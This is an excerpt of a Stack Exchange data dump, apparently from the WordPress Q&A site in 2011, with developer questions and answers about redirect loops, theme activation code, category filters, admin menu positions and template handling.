  <row Id="8776" PostTypeId="1" AcceptedAnswerId="8884" CreationDate="2011-02-07T17:33:26.643" Score="0" ViewCount="481" Body="&lt;p&gt;I have a (client) site located at &lt;a href=&quot;http://internationalgateway.us/&quot; rel=&quot;nofollow&quot;&gt;http://internationalgateway.us/&lt;/a&gt;. We are using the &lt;a href=&quot;http://wordpress.org/extend/plugins/sitepress-multilingual-cms/&quot; rel=&quot;nofollow&quot;&gt;WPML Multilingual CMS&lt;/a&gt; plugin. When choosing another language from the homepage (in this case French, since that's the only one enabled), I encounter a redirect loop. This can also be experienced just by visiting &lt;a href=&quot;http://internationalgateway.us/fr&quot; rel=&quot;nofollow&quot;&gt;http://internationalgateway.us/fr&lt;/a&gt;. It appears as though an extra trailing slash is getting added to the url, triggering the loop. However, adding extra trailing slashes to any other url on the site does not cause the same behavior - it just results in a redirect to the page without the slashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this &lt;em&gt;may&lt;/em&gt; simply be a plugin issue, but I suspect that it is not, as the site was working fine previously. I'm wondering if this could be an issue with permalinks and/or .htaccess rules. Currently, my permalinks are set to &lt;code&gt;/%category%/%postname%/&lt;/code&gt;, and the contents of the .htacess file are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-10T19:32:33.367" Title="Strange behavior with a redirect loop - involves WPML multi-language plugin" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;plugin-wpml&gt;" AnswerCount="2" />
  <row Id="8777" PostTypeId="1" AcceptedAnswerId="8788" CreationDate="2011-02-07T17:40:12.587" Score="1" ViewCount="59" Body="&lt;p&gt;The code below is near the top of my functions.php and is set to run only when my theme is activated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == 'themes.php' ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, even though its creating the category &quot;my-utilities&quot;, it is apparently not able to set the parent of the category1 and category2 items to the newly created category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps its too soon to call get_cat_id on the newly created category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it has something to do with that, since the category's reparent on the 2nd time the theme is activated. This, I presume, is since the category that will be used as parent has been created previously, the routine has no problem finding its ID and using it as the parent for category1 and category2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// with activate make sure theme's utility categories are present and parented correctly&#xA;if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == 'themes.php' ) {&#xA;&#xA;    if (file_exists(ABSPATH.'/wp-admin/includes/taxonomy.php'))&#xA;    {&#xA;        require_once(ABSPATH.'/wp-admin/includes/taxonomy.php');    &#xA;&#xA;        if(!get_cat_ID('my-utilities')){wp_create_category('my-utilities');}&#xA;&#xA;        //find out the ID of the newly created category, &quot;my-utilities&quot;&#xA;        $my_default_cat = my_cat();&#xA;&#xA;        if(!get_cat_ID('category1')){wp_create_category('category1',$my_default_cat);}&#xA;        if(!get_cat_ID('category2')){wp_create_category('category2',$my_default_cat);}&#xA;&#xA;        //if the categories already existed, reparent them&#xA;        $myCategory1['cat_ID'] = get_cat_id('category1');&#xA;        $myCategory1['category_parent'] = $my_default_cat;&#xA;        wp_update_category($myCategory1);&#xA;&#xA;        $myCategory2['cat_ID'] = get_cat_id('category2');&#xA;        $myCategory2['category_parent'] = $my_default_cat;&#xA;        wp_update_category($myCategory2);&#xA;&#xA;    }&#xA;}&#xA;&#xA;&#xA;//utility category&#xA;function my_cat()&#xA;{&#xA;    if(get_cat_ID('my-utilities')) &#xA;    {&#xA;        return get_cat_ID('my-utilities');&#xA;    }&#xA;    else&#xA;    {&#xA;        if(term_exists(1)) return &quot;1&quot;;&#xA;        else return get_option('default_category');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-07T21:05:26.850" LastActivityDate="2011-02-07T21:05:26.850" Title="Script only partially runs on theme activation, but runs fully on deactivation?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="8778" PostTypeId="1" AcceptedAnswerId="8781" CreationDate="2011-02-07T18:07:37.720" Score="0" ViewCount="178" Body="&lt;p&gt;Am I smoking crack or why wouldn't this work? :/ This all seems pretty straightforward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_head()&#xA;{&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/css/jquery-ui-1.8.9.custom.css&quot;  /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/jquery-ui-1.8.9.custom.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/theme-admin.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;&#xA;add_action('admin_head', &quot;admin_head&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in theme-admin.js ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($)&#xA;{   &#xA;    $(&quot;#datepicker&quot;).datepicker({&#xA;        changeMonth: true,&#xA;        changeYear: true, dateFormat: 'dd/mm/yy', showOn: 'button', buttonImage: plugin_path + '/images/icon-datepicker.png', buttonImageOnly: true});&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for any insight you can provide :) Cheers&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-10T17:25:44.017" Title="jQuery UI &amp; Admin (Calendar)" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;jquery&gt;" AnswerCount="2" />
  <row Id="8779" PostTypeId="1" CreationDate="2011-02-07T18:38:05.267" Score="2" ViewCount="328" Body="&lt;p&gt;I just figured out the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;menu_position parameter&lt;/a&gt; it seems like you can place the menu of your custom post type almost everywhere. Except above the Posts menu!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-26T19:35:11.283" Title="Placing a custom post type menu above the Posts menu using menu_position?" Tags="&lt;custom-post-types&gt;" AnswerCount="3" />
  <row Id="8780" PostTypeId="1" AcceptedAnswerId="8785" CreationDate="2011-02-07T18:39:00.913" Score="1" ViewCount="138" Body="&lt;p&gt;I've setup some theme options using this &lt;a href=&quot;http://themeshaper.com/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;helpful guide as a template&lt;/a&gt;. I want to give my editors the option to update these theme options, so I granted the &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capabilities&quot; rel=&quot;nofollow&quot;&gt;edit_theme_options capability as mentioned here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when logged in as an editor I can see the options page, but when I go to save it I get the 'Cheatin uh?' message. I checked the wp-admin/options.php page and the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !current_user_can('manage_options') )&#xA;wp_die(__('Cheatin&amp;amp;#8217; uh?'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems you can't edit options without the manage_options capability, which makes sense. It makes me wonder how you differentiate between general options and theme options. Is there something I've missed?&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-07T19:04:36.690" Title="Theme option editing capability problems" Tags="&lt;capabilities&gt;&lt;user-roles&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="8781" PostTypeId="2" ParentId="8778" CreationDate="2011-02-07T18:47:35.517" Score="0" ViewCount="" Body="&lt;p&gt;Duh, if you're &lt;strong&gt;image path is bust&lt;/strong&gt; and it's the only way it activates, it just won't load.&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-07T18:47:35.517" />
  <row Id="8782" PostTypeId="1" CreationDate="2011-02-07T18:50:10.147" Score="0" ViewCount="219" Body="&lt;p&gt;After an WP_insert_posts array has been executed how do I then redirect the browser to that post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-08T20:55:46.870" Title="WP Insert Post and then go to post" Tags="&lt;php&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="8783" PostTypeId="2" ParentId="8779" CreationDate="2011-02-07T18:53:54.103" Score="0" ViewCount="" Body="&lt;p&gt;On the same link you linked, it reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu_position&#xA;(integer) (optional) The position in the menu order the post type should appear.&#xA;Default: null - defaults to below Comments&#xA;5 - below Posts&#xA;10 - below Media&#xA;20 - below Pages&#xA;60 - below first separator&#xA;100 - below second separator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if you set &lt;code&gt;menu_position&lt;/code&gt; to something like &lt;code&gt;4&lt;/code&gt;, then it should put it above posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A position of &lt;code&gt;-1&lt;/code&gt; puts it above the &lt;code&gt;Dashboard&lt;/code&gt; link.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-07T18:53:54.103" CommentCount="5" />
  <row Id="8784" PostTypeId="2" ParentId="8782" CreationDate="2011-02-07T19:00:49.363" Score="2" ViewCount="" Body="&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_id = wp_insert_post( array( 'your', 'args', 'here' ) );&#xA;&#xA;$link = get_permalink( $post_id );&#xA;&#xA;wp_redirect( $link );&#xA;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-08T20:55:46.870" LastActivityDate="2011-02-08T20:55:46.870" CommentCount="2" />
  <row Id="8785" PostTypeId="2" ParentId="8780" CreationDate="2011-02-07T19:04:36.690" Score="1" ViewCount="" Body="&lt;p&gt;You should be posting your data (via &lt;code&gt;&amp;lt;form action=&quot;&quot; ...&amp;gt;&lt;/code&gt; to your theme options page, rather than to the wp-admin/options.php file. The latter is for the stuff under Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't mean to be tossing dirt at anyone in particular, but always take the tips that you read on the web with a grain of salt. This post on the same site, as an example, offers extremely bad advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeshaper.com/customize-blog-posts-touching-theme-files/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/customize-blog-posts-touching-theme-files/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myblog_shareontwitter($content) {&#xA;&#xA;    print $content; ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://twitter.com/home?status=Currently reading &amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Click to send this page to Twitter!&quot; target=&quot;_blank&quot;&amp;gt;Share &amp;lt;em&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/em&amp;gt; on Twitter&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;add_filter('the_content', 'myblog_shareontwitter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is completely broken: &quot;the_content&quot; is a filter, WP expects $content to be returned rather than echoed, and WP (not to mention plugins) expect $content to still be around after that function gets called. Moreover, the_title() will return garbage if you're not in the loop; this is problematic in that automatically generating an excerpt outside of the loop will call &quot;the_content&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-07T19:04:36.690" CommentCount="2" />
  <row Id="8786" PostTypeId="1" CreationDate="2011-02-07T19:17:57.997" Score="0" ViewCount="63" Body="&lt;p&gt;In this script below, I'm excluding children of the category returned from my_cat() from the list of categories, but I need to change it slightly so that it also excludes the parent (the value returned from my_cat()).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change this routine to exclude the parent from the list, as well as the children?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('list_terms_exclusions', 'my_list_terms_exclusions', 10, 2);&#xA;&#xA;function my_list_terms_exclusions($exclusions,$args) {&#xA;    if(!is_admin()){&#xA;        $children = implode(',',get_term_children(ce4_cat(),'category'));&#xA;        $children = (empty($children) ? '' : &quot;,$children&quot;);&#xA;        return $exclusions . &quot; AND (t.term_id NOT IN (&quot;.my_cat().&quot;{$children}))&quot;;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-07T19:17:57.997" Title="Exclude category (and children of category) from categories listing using list_terms_exclusions filter?" Tags="&lt;plugin-development&gt;" />
  <row Id="8787" PostTypeId="1" CreationDate="2011-02-07T19:19:12.237" Score="2" ViewCount="379" Body="&lt;p&gt;So I'm trying to do an if / else statement on an archive.php template. I setting up my archives using WP Smart archives reloaded (http://wordpress.org/extend/plugins/smart-archives-reloaded/) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code from my archive.php is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   if (in_category('166')) { include 'archive-blog.php';&#xA;}&#xA;&#xA;else {&#xA;   echo('foo');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im trying to get archive.php to include a certain template based on the category number. However this code grabs the archive blog template no matter what (even if I click on a category archive that is not the blog). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I'm not doing this correctly - does in_category not work on an archive page?  I have a similar set up with a single.php directing to a different include template based on the category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to use is_category and it seems to be completely ignoring my first condition and just echoing foo for any category. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   if (is_category('166')) { include 'archive-blog.php';&#xA;}&#xA;&#xA;else {&#xA;   echo('foo');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Link to what I'm talking about: (go into the archives in the right sidebar)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.metropoliscreative.com/talent-analytics/w/?cat=166&quot; rel=&quot;nofollow&quot;&gt;http://www.metropoliscreative.com/talent-analytics/w/?cat=166&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.metropoliscreative.com/talent-analytics/w/?cat=3&quot; rel=&quot;nofollow&quot;&gt;http://www.metropoliscreative.com/talent-analytics/w/?cat=3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;also, im not using permalinks because the clients server does not have mod-rewrite&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2862" LastEditorUserId="2862" LastEditorDisplayName="" LastEditDate="2011-02-07T20:01:22.197" LastActivityDate="2011-02-07T20:25:48.803" Title="if in_category on archive.php" Tags="&lt;archive&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="8788" PostTypeId="2" ParentId="8777" CreationDate="2011-02-07T19:19:43.220" Score="3" ViewCount="" Body="&lt;p&gt;You're looking for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook( __FILE__, 'your_plugin_activate_function_name' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: for a theme, you can use something like this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$theme_version = get_option('my_theme_version');&#xA;&#xA;switch ((string) $theme_version) {&#xA;  // an early alpha... run upgrade code&#xA;  case '0.1':&#xA;&#xA;  // another version... run upgrade code&#xA;  case '0.5':&#xA;&#xA;  // add other cases as needed... without any break statement.&#xA;&#xA;    // if we're here and in the admin area (to avoid race conditions),&#xA;    // actually save whichever changes we did&#xA;    if (is_admin()) {&#xA;      update_option('my_theme_version', '1.0');&#xA;      // do other stuff&#xA;    }&#xA;&#xA;  // we're at the latest version: bail here.&#xA;  case '1.0':&#xA;    break;&#xA;&#xA;  default:&#xA;    // install code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2011-02-07T19:53:28.657" LastActivityDate="2011-02-07T19:53:28.657" CommentCount="4" />
  <row Id="8789" PostTypeId="2" ParentId="8764" CreationDate="2011-02-07T19:29:08.803" Score="1" ViewCount="" Body="&lt;p&gt;There's a permalink endpoint feature but it's very broken when used without a trailing parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one, there is this issue, which is only fixed to the extent that they've amended the docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/9476&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/9476&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But most importantly, the rewrite engine uses empty() at one point, detects the endpoint as empty as a result, and does mark it as set anywhere as a result. There are three workarounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is what you're apparently doing at the moment, aka pass a GET parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to hook onto init and then adjust a global and change the REQUEST_URI accordingly when you detect your end point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last is to actually use a parameter, i.e. not:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category/tasks/upcoming&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but rather:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category/tasks/filter/upcoming&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-07T19:29:08.803" CommentCount="1" />
  <row Id="8790" PostTypeId="1" CreationDate="2011-02-07T19:29:39.267" Score="0" ViewCount="50" Body="&lt;p&gt;Is there anyway I can set what text should appear in the  tags before get_header() is called in my .php files that are inside my theme's directory?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="1462" LastEditorDisplayName="" LastEditDate="2011-02-07T20:16:51.160" LastActivityDate="2011-02-08T07:10:41.327" Title="Anyway to specify what should appear in &lt;title&gt; in .php file?" Tags="&lt;title&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8791" PostTypeId="2" ParentId="8787" CreationDate="2011-02-07T19:34:48.967" Score="2" ViewCount="" Body="&lt;p&gt;If memory serves, in_category() is for use within the loop and returns true when the current post is in that particular category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're probably for is_category(166).&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-07T19:34:48.967" CommentCount="3" />
  <row Id="8792" PostTypeId="2" ParentId="8713" CreationDate="2011-02-07T19:42:39.163" Score="3" ViewCount="" Body="&lt;p&gt;Your error message means that $wpdb in your code is currently pointing to a null pointer. Either WP is not loaded, or you're missing a simple &lt;code&gt;global $wpdb;&lt;/code&gt; statement, or both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to load WP, include wp-load.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or better, in your JS, use ajaxurl:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url = ajaxurl + '?action=youraction'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alongside (assuming the above code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_youraction', 'yourcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there's an unauthenticated version of the same (see wp-admin/admin-ajax.php)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-07T19:42:39.163" CommentCount="1" />
  <row Id="8793" PostTypeId="2" ParentId="4136" CreationDate="2011-02-07T19:42:42.723" Score="2" ViewCount="" Body="&lt;p&gt;Like Rarst answered you can really do that without editing core files or remove the page attributes metabox and create your on using the same code with a bit of modification.&#xA;the code below is the code for the /admin/include/meta-boxes.php&#xA;and i added the a comment to show where your extra page template options would go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function page_attributes_meta_box($post) {&#xA;    $post_type_object = get_post_type_object($post-&amp;gt;post_type);&#xA;    if ( $post_type_object-&amp;gt;hierarchical ) {&#xA;        $pages = wp_dropdown_pages(array('post_type' =&amp;gt; $post-&amp;gt;post_type, 'exclude_tree' =&amp;gt; $post-&amp;gt;ID, 'selected' =&amp;gt; $post-&amp;gt;post_parent, 'name' =&amp;gt; 'parent_id', 'show_option_none' =&amp;gt; __('(no parent)'), 'sort_column'=&amp;gt; 'menu_order, post_title', 'echo' =&amp;gt; 0));&#xA;        if ( ! empty($pages) ) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;parent_id&quot;&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php echo $pages; ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        } // end empty pages check&#xA;    } // end hierarchical check.&#xA;    if ( 'page' == $post-&amp;gt;post_type &amp;amp;&amp;amp; 0 != count( get_page_templates() ) ) {&#xA;        $template = !empty($post-&amp;gt;page_template) ? $post-&amp;gt;page_template : false;&#xA;        ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Template') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;page_template&quot;&amp;gt;&amp;lt;?php _e('Page Template') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;page_template&quot; id=&quot;page_template&quot;&amp;gt;&#xA;        &amp;lt;option value='default'&amp;gt;&amp;lt;?php _e('Default Template'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php page_template_dropdown($template); ?&amp;gt;&#xA;&#xA;        // add your page templates as options&#xA;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;?php&#xA;    } ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Order') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;menu_order&quot;&amp;gt;&amp;lt;?php _e('Order') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;input name=&quot;menu_order&quot; type=&quot;text&quot; size=&quot;4&quot; id=&quot;menu_order&quot; value=&quot;&amp;lt;?php echo esc_attr($post-&amp;gt;menu_order) ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php if ( 'page' == $post-&amp;gt;post_type ) _e( 'Need help? Use the Help tab in the upper right of your screen.' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't know if this is a fix in your case but i had a smiler case when i needed to display the post type in a plugin built-in theme and for that i used &lt;code&gt;add_filter('the_content', 'my-function');&lt;/code&gt;&#xA;and my-function created the output to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to make your plugin create the template file in the current theme directory , something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_plugins_theme_file(){&#xA;    $file_name = TEMPLATEPATH . '/' . $tamplate_name . '.php';&#xA;    $handle = fopen($file_name, 'w') or wp_die('Cannot open file for editing');&#xA;    $file_contents = &amp;lt;&amp;lt;&amp;lt;OUT&#xA;&amp;lt;?php&#xA;/*&#xA;Template Name: $tamplate_name&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;//you theme file here&#xA;&#xA;OUT;&#xA;&#xA;   fwrite($handle, $file_contents);&#xA;   fclose($handle);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can run this after you first check if the file exist&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!file_exists( $file_name)){create_plugins_theme_file();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope one of this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T19:42:42.723" CommentCount="2" />
  <row Id="8794" PostTypeId="2" ParentId="8787" CreationDate="2011-02-07T19:50:26.513" Score="1" ViewCount="" Body="&lt;p&gt;you are almost there its not in_category('166') its is_category('166')&#xA;the difference are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in_category checks if single is in&#xA;that category.&lt;/li&gt;&#xA;&lt;li&gt;is_category check if current is that&#xA;category archive page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T19:50:26.513" />
  <row Id="8795" PostTypeId="2" ParentId="4136" CreationDate="2011-02-07T20:02:05.143" Score="1" ViewCount="" Body="&lt;p&gt;Isn't doing this one of the reasons that &lt;code&gt;register_theme_directory()&lt;/code&gt; got introduced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/10467&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/10467&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time it was an issue related to BuddyPress, which wanted to toss in extra templates here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take it they're not properly listed as page templates, though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15803&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15803&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-07T20:02:05.143" CommentCount="1" />
  <row Id="8796" PostTypeId="1" AcceptedAnswerId="8803" CreationDate="2011-02-07T20:19:27.540" Score="0" ViewCount="230" Body="&lt;p&gt;Is is possible to override the set # of blog posts to show per page (as defined under Reading Settings in the WordPress admin)? I want to make it so a custom loop that I am using will show an unlimited number.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-02-07T21:30:09.773" Title="Override the default number of posts to show for a single loop?" Tags="&lt;posts&gt;&lt;loop&gt;" AnswerCount="3" />
  <row Id="8797" PostTypeId="2" ParentId="8787" CreationDate="2011-02-07T20:20:26.940" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$post = $wp_query- &amp;gt;post;&#xA;if ( in_category('166') ) {&#xA;include(TEMPLATEPATH . '/archive-blog.php’);&#xA;} else {&#xA;   echo('foo');&#xA;} ? &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is that what you're looking for?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-07T20:20:26.940" />
